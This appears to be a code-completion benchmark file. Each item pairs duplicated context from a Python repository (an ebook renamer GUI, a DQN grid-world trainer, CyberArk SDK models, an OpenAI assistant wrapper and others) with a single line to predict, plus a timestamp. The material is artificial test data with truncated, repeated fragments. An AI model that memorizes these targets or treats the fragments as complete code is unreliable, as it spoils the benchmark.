class MainGUI(QMainWindow): def __init__(self): super().__init__() self.cc = OpenCC('s2t') self.original_names = {} self.initUI() def applyTraditionalSimplifiedConversion(self): total_rows = self.tableWidget.rowCount() for row in range(total_rows): original_text_item = self.tableWidget.item(row, 1) if original_text_item: if self.traditionalSimplifiedCheckBox.isChecked(): if row not in self.original_names: self.original_names[row] = original_text_item.text() converted_text = self.cc.convert(self.original_names[row]) self.tableWidget.setItem(row, 1, QTableWidgetItem(converted_text)) else: if row in self.original_names: self.tableWidget.setItem(row, 1, QTableWidgetItem(self.original_names[row])) def initUI(self): self.setWindowTitle('EbookDataRename V0.0.1') self.setMinimumSize(QSize(800, 600)) centralWidget = QWidget(self) self.setCentralWidget(centralWidget) mainLayout = QVBoxLayout(centralWidget) self.setupLayout(mainLayout) self.applyMaterialDesignStyle() def initiateDatabaseQuery(self): db_path = self.local_db_lineedit.text() folder_path = self.targetFolderLineEdit.text()

queryDatabaseForFileNames(db_path, folder_path, self.tableWidget)

2023-11-10 19:42:58+00:00

2k

fleet-ai/code-pilot

scripts.py

import os import argparse import pinecone from dotenv import load_dotenv from context import download_embeddings from utils.utils import batch from constants import ( INDEX_NAME, INDEX_ENVIRONMENT, NAMESPACE, PATH_TO_SRC_CODE, ) from code_indexer import CodeIndexer

load_dotenv() PINECONE_API_KEY = os.getenv("PINECONE_API_KEY") pinecone.init(api_key=PINECONE_API_KEY, environment=INDEX_ENVIRONMENT) index = pinecone.Index(INDEX_NAME) def read_and_upsert(library_name): df = download_embeddings(library_name) def convert_row_to_dict(row): return { "id": row["id"], "values": [float(value) for value in row["dense_embeddings"]], "sparse_values": dict(row["sparse_values"]), "metadata": {**dict(row["metadata"]), "type": "documentation"}, } df["dict"] = df.apply(convert_row_to_dict, axis=1) vectors = df["dict"].tolist() vec_batches = list(batch(vectors, 100)) for idx, vec_batch in enumerate(vec_batches): print(f"Upserting batch {idx}/{len(vec_batches)}...") index.upsert(vectors=vec_batch, namespace=NAMESPACE) print("Finished upserting") def read_and_upsert_source_code():

load_dotenv() PINECONE_API_KEY = os.getenv("PINECONE_API_KEY") pinecone.init(api_key=PINECONE_API_KEY, environment=INDEX_ENVIRONMENT) index = pinecone.Index(INDEX_NAME) def read_and_upsert(library_name): df = download_embeddings(library_name) def convert_row_to_dict(row): return { "id": row["id"], "values": [float(value) for value in row["dense_embeddings"]], "sparse_values": dict(row["sparse_values"]), "metadata": {**dict(row["metadata"]), "type": "documentation"}, } df["dict"] = df.apply(convert_row_to_dict, axis=1) vectors = df["dict"].tolist() vec_batches = list(batch(vectors, 100)) for idx, vec_batch in enumerate(vec_batches): print(f"Upserting batch {idx}/{len(vec_batches)}...") index.upsert(vectors=vec_batch, namespace=NAMESPACE) print("Finished upserting") def read_and_upsert_source_code():

_ = CodeIndexer(src_dir=PATH_TO_SRC_CODE)

2023-11-14 01:45:16+00:00

2k

bithuanglq/APF_RL

DQN_variant.py

import argparse import os import random import time import gym import numpy as np import tensorflow as tf import tensorlayer as tl from tqdm import tqdm from gym_examples.wrappers import RelativePosition from prioritized_memory import Memory

''' 调试日志 1. 适配版本 https://medium.com/mlearning-ai/how-to-install-tensorflow-2-x-with-cuda-and-cudnn-on-ubuntu-20-04-lts-b73c209d8e88 2. 要用save_npz_dict 保存模型而不是 save_npz; 加载时同理 3. 用 APF 代替部分随机探索效果要好很多 4. 加入了PER: (https://blog.csdn.net/abcdefg90876/article/details/106270925)， 也可以只用Original Replay Buffer 5. 超参数参考模块: hyper parameters ''' ''' GridWorld-v0: @Action -- 0 right, 1 up, 2 left, 3 down @Observation -- {[x1, y1], [x2, y2], 25 vector(6,)}, agent_loc, target_loc and surrounding states. @Info -- distance between agent and target ''' parser = argparse.ArgumentParser() parser.add_argument('--mode', help='train or test', default='train') parser.add_argument( '--save_path', default='dqn_variants', help='folder to save if mode == train else model path,' 'qnet will be saved once target net update' ) parser.add_argument('--seed', help='random seed', type=int, default=0) parser.add_argument('--noisy_scale', type=float, default=1e-2) parser.add_argument('--disable_double', action='store_false', default=True) parser.add_argument('--disable_dueling', action='store_false', default=False) args = parser.parse_args() if args.mode == 'train': os.makedirs(args.save_path, exist_ok=True) random.seed(args.seed) np.random.seed(args.seed) tf.random.set_seed(args.seed) # reproducible noise_scale = args.noisy_scale double = not args.disable_double dueling = not args.disable_dueling env = gym.make('gym_examples/GridWorld-v0', render_mode='human')

''' 调试日志 1. 适配版本 https://medium.com/mlearning-ai/how-to-install-tensorflow-2-x-with-cuda-and-cudnn-on-ubuntu-20-04-lts-b73c209d8e88 2. 要用save_npz_dict 保存模型而不是 save_npz; 加载时同理 3. 用 APF 代替部分随机探索效果要好很多 4. 加入了PER: (https://blog.csdn.net/abcdefg90876/article/details/106270925)， 也可以只用Original Replay Buffer 5. 超参数参考模块: hyper parameters ''' ''' GridWorld-v0: @Action -- 0 right, 1 up, 2 left, 3 down @Observation -- {[x1, y1], [x2, y2], 25 vector(6,)}, agent_loc, target_loc and surrounding states. @Info -- distance between agent and target ''' parser = argparse.ArgumentParser() parser.add_argument('--mode', help='train or test', default='train') parser.add_argument( '--save_path', default='dqn_variants', help='folder to save if mode == train else model path,' 'qnet will be saved once target net update' ) parser.add_argument('--seed', help='random seed', type=int, default=0) parser.add_argument('--noisy_scale', type=float, default=1e-2) parser.add_argument('--disable_double', action='store_false', default=True) parser.add_argument('--disable_dueling', action='store_false', default=False) args = parser.parse_args() if args.mode == 'train': os.makedirs(args.save_path, exist_ok=True) random.seed(args.seed) np.random.seed(args.seed) tf.random.set_seed(args.seed) # reproducible noise_scale = args.noisy_scale double = not args.disable_double dueling = not args.disable_dueling env = gym.make('gym_examples/GridWorld-v0', render_mode='human')

env = RelativePosition(env) # refer to gym_examples/wrappers/relative_position.py, observation space has changed!

2023-11-10 02:45:37+00:00

2k

ehennenfent/live_illustrate

live_illustrate/summarize.py

from datetime import datetime from openai import OpenAI from .util import AsyncThread, Summary, Transcription, num_tokens_from_string

SYSTEM_PROMPT = "You are a helpful assistant that describes scenes to an artist who wants to draw them. \ You will be given several lines of dialogue that contain details about the physical surroundings of the characters. \ Your job is to summarize the details of the scene in a bulleted list containing 4-7 bullet points. \ If there is more than one scene described by the dialog, summarize only the most recent one. \ Remember to be concise and not include details that cannot be seen." # Not so good about this last bit, eh? class TextSummarizer(AsyncThread): def __init__(self, model: str) -> None: super().__init__("TextSummarizer") self.openai_client: OpenAI = OpenAI() self.model: str = model def work(self, transcription: Transcription) -> Summary | None: """Sends the big buffer of provided text to ChatGPT, returns bullets describing the setting""" text = transcription.transcription

SYSTEM_PROMPT = "You are a helpful assistant that describes scenes to an artist who wants to draw them. \ You will be given several lines of dialogue that contain details about the physical surroundings of the characters. \ Your job is to summarize the details of the scene in a bulleted list containing 4-7 bullet points. \ If there is more than one scene described by the dialog, summarize only the most recent one. \ Remember to be concise and not include details that cannot be seen." # Not so good about this last bit, eh? class TextSummarizer(AsyncThread): def __init__(self, model: str) -> None: super().__init__("TextSummarizer") self.openai_client: OpenAI = OpenAI() self.model: str = model def work(self, transcription: Transcription) -> Summary | None: """Sends the big buffer of provided text to ChatGPT, returns bullets describing the setting""" text = transcription.transcription

if (token_count := num_tokens_from_string(text)) == 0:

2023-11-18 05:42:54+00:00

2k

cyberark/ark-sdk-python

ark_sdk_python/models/services/dpa/policies/vm/ark_dpa_vm_authorization_rule.py

from pydantic import Field, validator from ark_sdk_python.models.common import ArkProtocolType from ark_sdk_python.models.common.ark_workspace_type import ArkWorkspaceType from ark_sdk_python.models.services.dpa.policies.common.ark_dpa_base_authorization_rule import ArkDPABaseAuthorizationRule from ark_sdk_python.models.services.dpa.policies.common.ark_dpa_base_connection_information import ArkDPABaseConnectionInformation from ark_sdk_python.models.services.dpa.policies.vm.ark_dpa_vm_connection_data import ArkDPAVMProvidersConnectionDict

class ArkDPAVMConnectionInformation(ArkDPABaseConnectionInformation): connect_as: ArkDPAVMProvidersConnectionDict = Field(description='In which fashion the connection is made') # pylint: disable=no-self-use,no-self-argument @validator('connect_as') def validate_connect_as(cls, val): for k, v in val.items():

class ArkDPAVMConnectionInformation(ArkDPABaseConnectionInformation): connect_as: ArkDPAVMProvidersConnectionDict = Field(description='In which fashion the connection is made') # pylint: disable=no-self-use,no-self-argument @validator('connect_as') def validate_connect_as(cls, val): for k, v in val.items():

if ArkWorkspaceType(k) not in [ArkWorkspaceType.AWS, ArkWorkspaceType.AZURE, ArkWorkspaceType.GCP, ArkWorkspaceType.ONPREM]:

2023-11-13 09:24:31+00:00

2k

Infineon/pharaoh-dev

src/pharaoh/templating/second_level/template_env.py

import copy import functools import os import pprint import shutil import uuid import jinja2 import omegaconf import pharaoh.project from functools import partial from pathlib import Path from types import ModuleType from typing import TYPE_CHECKING, Callable from jinja2_git import GitExtension from pharaoh.log import log from pharaoh.util.contextlib_chdir import chdir from .env_filters import env_filters from .env_globals import env_globals from .env_tests import env_tests from .util import asset_rel_path_from_build, asset_rel_path_from_project from collections.abc import Iterator from sphinx.config import Config from pharaoh.sphinx_app import PharaohSphinx from pharaoh.plugins.plugin_manager import PM

from __future__ import annotations if TYPE_CHECKING: class PharaohFileSystemLoader(jinja2.loaders.FileSystemLoader): def get_source(self, environment: jinja2.Environment, template: str) -> tuple[str, str, Callable[[], bool]]: # Overwrite to support absolute filenames as well as relative ones that have to be looked up in the search paths for searchpath in self.searchpath: if "<>" in template: # See PharaohTemplateEnv.join_path parent, template_ = template.rsplit("<>", 1) template_path = Path(parent) / template_ if template_path.is_absolute() and template_path.exists(): filename = template_path.as_posix() else: pieces = jinja2.loaders.split_template_path(template_) filename = jinja2.loaders.posixpath.join(searchpath, *pieces) else: pieces = jinja2.loaders.split_template_path(template) filename = jinja2.loaders.posixpath.join(searchpath, *pieces) # Original code starts from here f = jinja2.loaders.open_if_exists(filename) if f is None: continue try: contents = f.read().decode(self.encoding) finally: f.close() def up_to_date() -> bool: return False # Use normpath to convert Windows altsep to sep. return contents, os.path.normpath(filename), up_to_date raise jinja2.TemplateNotFound(template) class PharaohTemplate(jinja2.Template): def render(self, *args, **kwargs) -> str: return super().render(*args, **kwargs) class PharaohTemplateEnv(jinja2.Environment): template_class = PharaohTemplate def __init__(self): super().__init__( trim_blocks=True, lstrip_blocks=True, keep_trailing_newline=True, extensions=["jinja2_ansible_filters.AnsibleCoreFiltersExtension"], ) self.default_context: dict = { "project": {}, # Project related context "local": {}, # Discovered content of context files next to the source file "assets": {}, # Discovered content of asset files registered via register_templating_context function "config": None, # Content of conf.py (Sphinx Config object) "user": None, # Content of user given dict "pharaoh_jinja_context" in conf.py } self.local_context_file_cache: dict[Path, ModuleType] = {} self.sphinx_app: PharaohSphinx | None = None self.globals.update(env_globals)

from __future__ import annotations if TYPE_CHECKING: class PharaohFileSystemLoader(jinja2.loaders.FileSystemLoader): def get_source(self, environment: jinja2.Environment, template: str) -> tuple[str, str, Callable[[], bool]]: # Overwrite to support absolute filenames as well as relative ones that have to be looked up in the search paths for searchpath in self.searchpath: if "<>" in template: # See PharaohTemplateEnv.join_path parent, template_ = template.rsplit("<>", 1) template_path = Path(parent) / template_ if template_path.is_absolute() and template_path.exists(): filename = template_path.as_posix() else: pieces = jinja2.loaders.split_template_path(template_) filename = jinja2.loaders.posixpath.join(searchpath, *pieces) else: pieces = jinja2.loaders.split_template_path(template) filename = jinja2.loaders.posixpath.join(searchpath, *pieces) # Original code starts from here f = jinja2.loaders.open_if_exists(filename) if f is None: continue try: contents = f.read().decode(self.encoding) finally: f.close() def up_to_date() -> bool: return False # Use normpath to convert Windows altsep to sep. return contents, os.path.normpath(filename), up_to_date raise jinja2.TemplateNotFound(template) class PharaohTemplate(jinja2.Template): def render(self, *args, **kwargs) -> str: return super().render(*args, **kwargs) class PharaohTemplateEnv(jinja2.Environment): template_class = PharaohTemplate def __init__(self): super().__init__( trim_blocks=True, lstrip_blocks=True, keep_trailing_newline=True, extensions=["jinja2_ansible_filters.AnsibleCoreFiltersExtension"], ) self.default_context: dict = { "project": {}, # Project related context "local": {}, # Discovered content of context files next to the source file "assets": {}, # Discovered content of asset files registered via register_templating_context function "config": None, # Content of conf.py (Sphinx Config object) "user": None, # Content of user given dict "pharaoh_jinja_context" in conf.py } self.local_context_file_cache: dict[Path, ModuleType] = {} self.sphinx_app: PharaohSphinx | None = None self.globals.update(env_globals)

self.filters.update(env_filters)

2023-11-10 11:33:02+00:00

2k

CorentinJ/transcription-diff

transcription_diff/text_diff.py

import logging import numpy as np from dataclasses import dataclass from pathlib import Path from typing import List, Iterable, overload, Union from minineedle import needle from transcription_diff.text_normalization import normalize_text from transcription_diff.whisper_asr import whisper_asr from colorama import Fore as colors

@dataclass class TextDiffRegion: reference_text: str compared_text: str pronunciation_match: bool def clean_text_diff(ref_text: str, compared: str) -> List[TextDiffRegion]: alignment = needle.NeedlemanWunsch(ref_text.split(" "), compared.split(" ")) alignment.align() # Arrange regions = [] for ref_word, compared_word in zip(*alignment.get_aligned_sequences()): regions.append(TextDiffRegion( ref_word if isinstance(ref_word, str) else "", compared_word if isinstance(compared_word, str) else "", pronunciation_match=(ref_word == compared_word) )) # Re-add the spaces between words, and prefer to add them on identical regions rather than non-identical ones for text_attr in ("reference_text", "compared_text"): last_word_region = None for region in regions: if not getattr(region, text_attr): continue if last_word_region: if last_word_region.pronunciation_match: setattr(last_word_region, text_attr, getattr(last_word_region, text_attr) + " ") else: setattr(region, text_attr, " " + getattr(region, text_attr)) last_word_region = region # Compress new_regions = [] for region in regions: if new_regions and (new_regions[-1].pronunciation_match == region.pronunciation_match): new_regions[-1].reference_text += region.reference_text new_regions[-1].compared_text += region.compared_text else: new_regions.append(region) return new_regions def text_diff( reference_texts: Iterable[str], compared_texts: Iterable[str], lang_id: str ) -> List[List[TextDiffRegion]]: raw_refs, raw_comps = list(reference_texts), list(compared_texts) # Normalize text down to characters that influence pronunciation only clean_refs, raw2clean_refs = zip(*[normalize_text(raw_ref, lang_id) for raw_ref in raw_refs]) clean_comps, raw2clean_comps = zip(*[normalize_text(raw_comp, lang_id) for raw_comp in raw_comps]) # Align clean texts and isolate errors text_diffs = [clean_text_diff(clean_ref, clean_comp) for clean_ref, clean_comp in zip(clean_refs, clean_comps)] # Bring the regions up to the unnormalized text space for raw_ref, raw2clean_ref, raw_comp, raw2clean_comp, clean_diff in zip( raw_refs, raw2clean_refs, raw_comps, raw2clean_comps, text_diffs ): clean2raw_ref = raw2clean_ref.inverse() clean2raw_comp = raw2clean_comp.inverse() clean_ref_pos, clean_comp_pos = 0, 0 raw_ref_pos, raw_comp_pos = 0, 0 for region in clean_diff: # Use slicemaps to figure out which parts of the unnormalized text this region corresponds to clean_ref_sli = slice(clean_ref_pos, clean_ref_pos + len(region.reference_text)) clean_comp_sli = slice(clean_comp_pos, clean_comp_pos + len(region.compared_text)) if region is not clean_diff[-1]: raw_ref_sli = slice(raw_ref_pos, max(clean2raw_ref[clean_ref_sli].stop, raw_ref_pos)) raw_comp_sli = slice(raw_comp_pos, max(clean2raw_comp[clean_comp_sli].stop, raw_comp_pos)) else: # Ensure we span the entirety of the unnormalized text, slicemaps are not guaranteed to be surjective # Typical example: a final punctuation that is erased in text normalization. raw_ref_sli = slice(raw_ref_pos, len(raw_ref)) raw_comp_sli = slice(raw_comp_pos, len(raw_comp)) # Modify the region in place with the unnormalized text region.reference_text = raw_ref[raw_ref_sli] region.compared_text = raw_comp[raw_comp_sli] # Update the positions clean_ref_pos = clean_ref_sli.stop clean_comp_pos = clean_comp_sli.stop raw_ref_pos = raw_ref_sli.stop raw_comp_pos = raw_comp_sli.stop return text_diffs @overload def transcription_diff( text: str, wav: np.ndarray, sr, *, audio_lang: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> List[TextDiffRegion]: ... @overload def transcription_diff( texts: List[str], wavs: Iterable[np.ndarray], sr, *, audio_lang: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> List[List[TextDiffRegion]]: ... @overload def transcription_diff( text: str, fpath: Union[str, Path], *, audio_lang: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> List[TextDiffRegion]: ... @overload def transcription_diff( texts: List[str], fpaths: Iterable[Union[str, Path]], *, audio_lang: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> List[List[TextDiffRegion]]: ... def transcription_diff( *args, lang_id: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> Union[List[TextDiffRegion], List[List[TextDiffRegion]]]: # TODO: doc # Arg parsing texts, args = args[0], args[1:] if single := isinstance(texts, str): texts = [texts] # Perform ASR

logger = logging.getLogger(__name__) @dataclass class TextDiffRegion: reference_text: str compared_text: str pronunciation_match: bool def clean_text_diff(ref_text: str, compared: str) -> List[TextDiffRegion]: alignment = needle.NeedlemanWunsch(ref_text.split(" "), compared.split(" ")) alignment.align() # Arrange regions = [] for ref_word, compared_word in zip(*alignment.get_aligned_sequences()): regions.append(TextDiffRegion( ref_word if isinstance(ref_word, str) else "", compared_word if isinstance(compared_word, str) else "", pronunciation_match=(ref_word == compared_word) )) # Re-add the spaces between words, and prefer to add them on identical regions rather than non-identical ones for text_attr in ("reference_text", "compared_text"): last_word_region = None for region in regions: if not getattr(region, text_attr): continue if last_word_region: if last_word_region.pronunciation_match: setattr(last_word_region, text_attr, getattr(last_word_region, text_attr) + " ") else: setattr(region, text_attr, " " + getattr(region, text_attr)) last_word_region = region # Compress new_regions = [] for region in regions: if new_regions and (new_regions[-1].pronunciation_match == region.pronunciation_match): new_regions[-1].reference_text += region.reference_text new_regions[-1].compared_text += region.compared_text else: new_regions.append(region) return new_regions def text_diff( reference_texts: Iterable[str], compared_texts: Iterable[str], lang_id: str ) -> List[List[TextDiffRegion]]: raw_refs, raw_comps = list(reference_texts), list(compared_texts) # Normalize text down to characters that influence pronunciation only clean_refs, raw2clean_refs = zip(*[normalize_text(raw_ref, lang_id) for raw_ref in raw_refs]) clean_comps, raw2clean_comps = zip(*[normalize_text(raw_comp, lang_id) for raw_comp in raw_comps]) # Align clean texts and isolate errors text_diffs = [clean_text_diff(clean_ref, clean_comp) for clean_ref, clean_comp in zip(clean_refs, clean_comps)] # Bring the regions up to the unnormalized text space for raw_ref, raw2clean_ref, raw_comp, raw2clean_comp, clean_diff in zip( raw_refs, raw2clean_refs, raw_comps, raw2clean_comps, text_diffs ): clean2raw_ref = raw2clean_ref.inverse() clean2raw_comp = raw2clean_comp.inverse() clean_ref_pos, clean_comp_pos = 0, 0 raw_ref_pos, raw_comp_pos = 0, 0 for region in clean_diff: # Use slicemaps to figure out which parts of the unnormalized text this region corresponds to clean_ref_sli = slice(clean_ref_pos, clean_ref_pos + len(region.reference_text)) clean_comp_sli = slice(clean_comp_pos, clean_comp_pos + len(region.compared_text)) if region is not clean_diff[-1]: raw_ref_sli = slice(raw_ref_pos, max(clean2raw_ref[clean_ref_sli].stop, raw_ref_pos)) raw_comp_sli = slice(raw_comp_pos, max(clean2raw_comp[clean_comp_sli].stop, raw_comp_pos)) else: # Ensure we span the entirety of the unnormalized text, slicemaps are not guaranteed to be surjective # Typical example: a final punctuation that is erased in text normalization. raw_ref_sli = slice(raw_ref_pos, len(raw_ref)) raw_comp_sli = slice(raw_comp_pos, len(raw_comp)) # Modify the region in place with the unnormalized text region.reference_text = raw_ref[raw_ref_sli] region.compared_text = raw_comp[raw_comp_sli] # Update the positions clean_ref_pos = clean_ref_sli.stop clean_comp_pos = clean_comp_sli.stop raw_ref_pos = raw_ref_sli.stop raw_comp_pos = raw_comp_sli.stop return text_diffs @overload def transcription_diff( text: str, wav: np.ndarray, sr, *, audio_lang: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> List[TextDiffRegion]: ... @overload def transcription_diff( texts: List[str], wavs: Iterable[np.ndarray], sr, *, audio_lang: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> List[List[TextDiffRegion]]: ... @overload def transcription_diff( text: str, fpath: Union[str, Path], *, audio_lang: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> List[TextDiffRegion]: ... @overload def transcription_diff( texts: List[str], fpaths: Iterable[Union[str, Path]], *, audio_lang: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> List[List[TextDiffRegion]]: ... def transcription_diff( *args, lang_id: str=None, whisper_model_size=2, custom_words=[], device="cuda" ) -> Union[List[TextDiffRegion], List[List[TextDiffRegion]]]: # TODO: doc # Arg parsing texts, args = args[0], args[1:] if single := isinstance(texts, str): texts = [texts] # Perform ASR

asr_texts, lang_id = whisper_asr(

2023-11-11 20:51:54+00:00

2k

AI4HealthUOL/ECG-MIMIC

src/clinical_ts/inception1d.py

import torch import torch.nn as nn import torch.nn.functional as F import math from .basic_conv1d import AdaptiveConcatPool1d,create_head1d

__all__ = ['conv', 'noop', 'InceptionBlock1d', 'Shortcut1d', 'InceptionBackbone', 'Inception1d', 'inception1d'] # Cell # Cell def conv(in_planes, out_planes, kernel_size=3, stride=1): "convolution with padding" return nn.Conv1d(in_planes, out_planes, kernel_size=kernel_size, stride=stride, padding=(kernel_size-1)//2, bias=False) def noop(x): return x # Cell class InceptionBlock1d(nn.Module): def __init__(self, ni, nb_filters, kss, stride=1, act='linear', bottleneck_size=32): super().__init__() self.bottleneck = conv(ni, bottleneck_size, 1, stride) if (bottleneck_size>0) else noop self.convs = nn.ModuleList([conv(bottleneck_size if (bottleneck_size>0) else ni, nb_filters, ks) for ks in kss]) self.conv_bottle = nn.Sequential(nn.MaxPool1d(3, stride, padding=1), conv(ni, nb_filters, 1)) self.bn_relu = nn.Sequential(nn.BatchNorm1d((len(kss)+1)*nb_filters), nn.ReLU()) def forward(self, x): #print("block in",x.size()) bottled = self.bottleneck(x) out = self.bn_relu(torch.cat([c(bottled) for c in self.convs]+[self.conv_bottle(x)], dim=1)) return out # Cell class Shortcut1d(nn.Module): def __init__(self, ni, nf): super().__init__() self.act_fn=nn.ReLU(True) self.conv=conv(ni, nf, 1) self.bn=nn.BatchNorm1d(nf) def forward(self, inp, out): #print("sk",out.size(), inp.size(), self.conv(inp).size(), self.bn(self.conv(inp)).size) #input() return self.act_fn(out + self.bn(self.conv(inp))) # Cell class InceptionBackbone(nn.Module): def __init__(self, input_channels, kss, depth, bottleneck_size, nb_filters, use_residual): super().__init__() self.depth = depth assert((depth % 3) == 0) self.use_residual = use_residual n_ks = len(kss) + 1 self.im = nn.ModuleList([InceptionBlock1d(input_channels if d==0 else n_ks*nb_filters,nb_filters=nb_filters,kss=kss, bottleneck_size=bottleneck_size) for d in range(depth)]) self.sk = nn.ModuleList([Shortcut1d(input_channels if d==0 else n_ks*nb_filters, n_ks*nb_filters) for d in range(depth//3)]) def forward(self, x): input_res = x for d in range(self.depth): x = self.im[d](x) if self.use_residual and d % 3 == 2: x = (self.sk[d//3])(input_res, x) input_res = x.clone() return x # Cell class Inception1d(nn.Module): '''inception time architecture''' def __init__(self, num_classes=2, input_channels=8, kss=[39,19,9], depth=6, bottleneck_size=32, nb_filters=32, use_residual=True,lin_ftrs_head=None, ps_head=0.5, bn_final_head=False, bn_head=True, act_head="relu", concat_pooling=True): super().__init__() layers = [InceptionBackbone(input_channels=input_channels, kss=kss, depth=depth, bottleneck_size=bottleneck_size, nb_filters=nb_filters, use_residual=use_residual)] n_ks = len(kss) + 1 #head

__all__ = ['conv', 'noop', 'InceptionBlock1d', 'Shortcut1d', 'InceptionBackbone', 'Inception1d', 'inception1d'] # Cell # Cell def conv(in_planes, out_planes, kernel_size=3, stride=1): "convolution with padding" return nn.Conv1d(in_planes, out_planes, kernel_size=kernel_size, stride=stride, padding=(kernel_size-1)//2, bias=False) def noop(x): return x # Cell class InceptionBlock1d(nn.Module): def __init__(self, ni, nb_filters, kss, stride=1, act='linear', bottleneck_size=32): super().__init__() self.bottleneck = conv(ni, bottleneck_size, 1, stride) if (bottleneck_size>0) else noop self.convs = nn.ModuleList([conv(bottleneck_size if (bottleneck_size>0) else ni, nb_filters, ks) for ks in kss]) self.conv_bottle = nn.Sequential(nn.MaxPool1d(3, stride, padding=1), conv(ni, nb_filters, 1)) self.bn_relu = nn.Sequential(nn.BatchNorm1d((len(kss)+1)*nb_filters), nn.ReLU()) def forward(self, x): #print("block in",x.size()) bottled = self.bottleneck(x) out = self.bn_relu(torch.cat([c(bottled) for c in self.convs]+[self.conv_bottle(x)], dim=1)) return out # Cell class Shortcut1d(nn.Module): def __init__(self, ni, nf): super().__init__() self.act_fn=nn.ReLU(True) self.conv=conv(ni, nf, 1) self.bn=nn.BatchNorm1d(nf) def forward(self, inp, out): #print("sk",out.size(), inp.size(), self.conv(inp).size(), self.bn(self.conv(inp)).size) #input() return self.act_fn(out + self.bn(self.conv(inp))) # Cell class InceptionBackbone(nn.Module): def __init__(self, input_channels, kss, depth, bottleneck_size, nb_filters, use_residual): super().__init__() self.depth = depth assert((depth % 3) == 0) self.use_residual = use_residual n_ks = len(kss) + 1 self.im = nn.ModuleList([InceptionBlock1d(input_channels if d==0 else n_ks*nb_filters,nb_filters=nb_filters,kss=kss, bottleneck_size=bottleneck_size) for d in range(depth)]) self.sk = nn.ModuleList([Shortcut1d(input_channels if d==0 else n_ks*nb_filters, n_ks*nb_filters) for d in range(depth//3)]) def forward(self, x): input_res = x for d in range(self.depth): x = self.im[d](x) if self.use_residual and d % 3 == 2: x = (self.sk[d//3])(input_res, x) input_res = x.clone() return x # Cell class Inception1d(nn.Module): '''inception time architecture''' def __init__(self, num_classes=2, input_channels=8, kss=[39,19,9], depth=6, bottleneck_size=32, nb_filters=32, use_residual=True,lin_ftrs_head=None, ps_head=0.5, bn_final_head=False, bn_head=True, act_head="relu", concat_pooling=True): super().__init__() layers = [InceptionBackbone(input_channels=input_channels, kss=kss, depth=depth, bottleneck_size=bottleneck_size, nb_filters=nb_filters, use_residual=use_residual)] n_ks = len(kss) + 1 #head

head = create_head1d(n_ks*nb_filters, nc=num_classes, lin_ftrs=lin_ftrs_head, ps=ps_head, bn_final=bn_final_head, bn=bn_head, act=act_head, concat_pooling=concat_pooling)

2023-11-12 14:54:08+00:00

2k

eblume/TyperAssistant

src/typerassistant/assistant.py

import json import time from collections.abc import Iterable from contextlib import redirect_stdout from dataclasses import KW_ONLY, dataclass, field from io import StringIO from textwrap import shorten from typing import Optional, Type, TypeVar from openai import OpenAI from openai.types.beta.assistant import Assistant as RemoteAssistant from openai.types.beta.thread import Thread from openai.types.beta.threads import RequiredActionFunctionToolCall from openai.types.beta.threads.run_submit_tool_outputs_params import ToolOutput from openai.types.beta.threads.thread_message import ThreadMessage from rich import print from rich.panel import Panel from rich.prompt import Confirm from .spec import FunctionCall, FunctionSpec

# The number of times to poll for a run to complete before giving up MAX_RUN_ITERATIONS = 20 # The number of seconds to sleep between run iterations RUN_ITERATION_SLEEP = 3 # The best usage guide for function calling seems to be: # https://cookbook.openai.com/examples/how_to_call_functions_with_chat_models AssistantT = TypeVar("AssistantT", bound="Assistant") @dataclass class Assistant: """An assistant managed remotely via OpenAI's assistant API. This class implements the basic lifecycle of an assistant, from CRUD to running a thread. It is intended to be subclassed to extend functionality. """ name: str _: KW_ONLY instructions: str = "The agent is a helpful assistant. Its behavior and capabilities can be extended via the 'typerassistant' python package's API." client: OpenAI = field(default_factory=OpenAI) replace: bool = False _assistant: Optional[RemoteAssistant] = None @classmethod def from_id(cls: Type[AssistantT], assistant_id: str, client: Optional[OpenAI] = None) -> AssistantT: """Retrieve the assistant with the given ID from OpenAI. This method will skip all assistant creation steps and simply use the remote definition.""" if client is None: client = OpenAI() assistant = client.beta.assistants.retrieve(assistant_id) return cls( client=client, name=assistant.name or "Unnamed Assistant", instructions=assistant.instructions or cls.instructions, _assistant=assistant, ) @property def assistant(self) -> RemoteAssistant: if self._assistant is None: self._assistant = self.make_assistant(self.replace) return self._assistant def ask( self, query: str, thread: Optional[Thread] = None, use_commands: bool = True, confirm_commands: bool = True, instructions: Optional[str] = None, ) -> str: """Ask the assistant a question, returning the response. This may block for the lifecycle of several API requests as well as waiting on remotely managed threads, in fact blocking for several minutes and then succeeding is not uncommon. The caller should make arrangements for multithreading, etc. should it be needed. If a thread is not provided, a new one will be made. """ if thread is None: thread = self.thread() self.add_message(query, thread) self.run_thread(thread, use_commands=use_commands, confirm_commands=confirm_commands, instructions=instructions) messages = list(self.messages(thread)) content = messages[0].content assert len(content) == 1 assert content[0].type == "text" assert len(content[0].text.annotations) == 0 return content[0].text.value

# The number of times to poll for a run to complete before giving up MAX_RUN_ITERATIONS = 20 # The number of seconds to sleep between run iterations RUN_ITERATION_SLEEP = 3 # The best usage guide for function calling seems to be: # https://cookbook.openai.com/examples/how_to_call_functions_with_chat_models AssistantT = TypeVar("AssistantT", bound="Assistant") @dataclass class Assistant: """An assistant managed remotely via OpenAI's assistant API. This class implements the basic lifecycle of an assistant, from CRUD to running a thread. It is intended to be subclassed to extend functionality. """ name: str _: KW_ONLY instructions: str = "The agent is a helpful assistant. Its behavior and capabilities can be extended via the 'typerassistant' python package's API." client: OpenAI = field(default_factory=OpenAI) replace: bool = False _assistant: Optional[RemoteAssistant] = None @classmethod def from_id(cls: Type[AssistantT], assistant_id: str, client: Optional[OpenAI] = None) -> AssistantT: """Retrieve the assistant with the given ID from OpenAI. This method will skip all assistant creation steps and simply use the remote definition.""" if client is None: client = OpenAI() assistant = client.beta.assistants.retrieve(assistant_id) return cls( client=client, name=assistant.name or "Unnamed Assistant", instructions=assistant.instructions or cls.instructions, _assistant=assistant, ) @property def assistant(self) -> RemoteAssistant: if self._assistant is None: self._assistant = self.make_assistant(self.replace) return self._assistant def ask( self, query: str, thread: Optional[Thread] = None, use_commands: bool = True, confirm_commands: bool = True, instructions: Optional[str] = None, ) -> str: """Ask the assistant a question, returning the response. This may block for the lifecycle of several API requests as 